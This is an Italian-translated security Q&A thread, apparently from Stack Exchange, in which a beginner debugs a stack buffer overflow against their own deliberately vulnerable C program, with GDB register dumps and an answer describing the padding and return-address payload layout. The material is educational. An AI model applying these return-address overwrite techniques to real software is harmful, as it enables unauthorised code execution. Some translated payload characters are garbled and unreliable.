Overflow del buffer basato su stack il programma interpreta lo shellcode da solo

-1

Sono principiante negli exploit. Quindi ho scritto un programma semplice in C

#include <stdio.h>

void func(){
    printf("asd");
}
main(){
    char buf[100];
    scanf("%s", &buf);
}

Il mio obiettivo è eseguire func () e stampare asd. Con 116 'A ho finito di scrivere l'EIP ma quando cambio gli ultimi 4 A con l'indirizzo di memoria della funzione (in ordine inverso) ed eseguo di nuovo il programma l'EIP è qualcosa di completamente diverso. Ecco i dettagli del modulo GDB:

Starting program: /root/Documents/C/overflow/stack 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax            0x1  1
ecx            0x1  1
edx            0xb7fbd354   -1208233132
ebx            0xb7fbbff4   -1208238092
esp            0xbffff4d0   0xbffff4d0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x41414141   0x41414141

Con indirizzo della funzione:

(gdb) disas func
Dump of assembler code for function func:
   0x0804846c <+0>: push   %ebp
   0x0804846d <+1>: mov    %esp,%ebp
   0x0804846f <+3>: sub    $0x18,%esp
   0x08048472 <+6>: movl   $0x8048530,(%esp)
   0x08048479 <+13>:    call   0x8048340 <printf@plt>
   0x0804847e <+18>:    leave  
   0x0804847f <+19>:    ret 

Starting program: /root/Documents/C/overflow/stack 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6c\x84\x04\x08

Program received signal SIGSEGV, Segmentation fault.
0x6336785c in ?? ()

Se aggiungo più A alla stringa, EIP inizia a traboccare con A di nuovo intendo

Adding 1 A EIP = 0x36785c41
Adding 2 A's EIP = 0x785c4141
Adding 3 A's EIP = 0x78414141
Adding 4 A's EIP = 0x41414141

Sto usando Linux, non ho rimosso o modificato nulla nel kernel, quindi non ci sono protezioni. Inoltre non ho disabilitato alcuna funzione su gcc, e il compilatore è gcc = D.

Qualsiasi aiuto è benvenuto. Grazie in anticipo.

    
posta user45982 04.05.2014 - 20:56
fonte

1 risposta

0

Potrei sfruttare con successo l'overflow del buffer Il tuo codice exploit è sbagliato.

Stai passando l'indirizzo di func () così com'è in forma esadecimale. Devi prima convertire \ X6C \ x84 \ x04 \ x08

in ASCII usando python puoi farlo.

Sul mio sistema viene fuori LÄ ♦

Lo sfruttamento dovrebbe essere B1 = AAAA ... (dimensione del buffer, 120 nel mio caso)

B2 = BBBB .... (override ebp)

R.A. di func () = lä ♦

exploit = B1 + B2 + lä ♦

Imposta anche la sintassi gdb su Intel per una migliore leggibilità.

Controlla sempre EBP per vedere se la dimensione del codice exploit è corretta.

In questo caso se EBP = 42424242 significa che il numero di A è corretto, cioè ci stiamo muovendo nella giusta direzione

    
risposta data 29.05.2014 - 12:43
fonte

Leggi altre domande sui tag